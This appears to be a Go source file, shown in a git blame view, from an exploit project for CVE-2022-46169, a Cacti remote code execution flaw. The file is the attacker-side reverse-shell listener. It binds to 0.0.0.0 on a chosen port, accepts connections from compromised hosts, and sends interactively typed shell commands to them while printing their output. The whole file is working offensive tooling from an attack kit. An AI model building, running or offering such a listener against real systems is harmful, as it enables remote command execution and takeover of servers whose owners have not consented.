cve-2022-46169/internal/listener/listener.go

79 lines
1.7 KiB
Go
Raw Normal View History

2025-01-24 11:01:46 +08:00
package listener
import (
2025-01-24 11:17:20 +08:00
"bufio"
2025-01-24 11:01:46 +08:00
"fmt"
"io"
"net"
"os"
)
func handleConnection(conn net.Conn) {
defer conn.Close()
fmt.Println("Connection established. Interacting with reverse shell...")
2025-01-24 11:15:12 +08:00
fmt.Println("Press enter once if prompt does not show up.")
2025-01-24 11:01:46 +08:00
2025-01-24 11:17:20 +08:00
// Use bufio.NewReader for more interactive input handling
reader := bufio.NewReader(os.Stdin)
2025-01-24 11:01:46 +08:00
for {
2025-01-24 11:17:20 +08:00
// Read command input interactively from the user
fmt.Print("Shell> ")
cmd, err := reader.ReadString('\n') // Read until Enter is pressed
if err != nil {
fmt.Println("Error reading command:", err)
return
}
2025-01-24 11:01:46 +08:00
2025-01-24 11:17:20 +08:00
// Send the command to the reverse shell
_, err = conn.Write([]byte(cmd))
2025-01-24 11:01:46 +08:00
if err != nil {
fmt.Println("Error sending command:", err)
return
}
2025-01-24 11:17:20 +08:00
// Read the response from the reverse shell
2025-01-24 11:01:46 +08:00
buf := make([]byte, 1024)
n, err := conn.Read(buf)
if err != nil && err != io.EOF {
fmt.Println("Error reading from connection:", err)
return
}
2025-01-24 11:17:20 +08:00
// Print the reverse shell output
2025-01-24 11:01:46 +08:00
fmt.Print(string(buf[:n]))
}
}
func startListener(lhost, lport string) {
listenAddress := fmt.Sprintf("%s:%s", lhost, lport)
listener, err := net.Listen("tcp", listenAddress)
if err != nil {
fmt.Println("Error starting listener:", err)
os.Exit(1)
}
defer listener.Close()
fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport)
2025-01-24 11:17:20 +08:00
// Accept incoming connections and handle them
2025-01-24 11:01:46 +08:00
for {
conn, err := listener.Accept()
if err != nil {
fmt.Println("Error accepting connection:", err)
continue
}
2025-01-24 11:17:20 +08:00
// Handle the connection in a new goroutine
2025-01-24 11:01:46 +08:00
go handleConnection(conn)
}
}
2025-01-24 11:10:16 +08:00
func Listen(lport string) {
2025-01-24 11:17:20 +08:00
// Listen on everything, lazy
2025-01-24 11:01:46 +08:00
lhost := "0.0.0.0"
startListener(lhost, lport)
}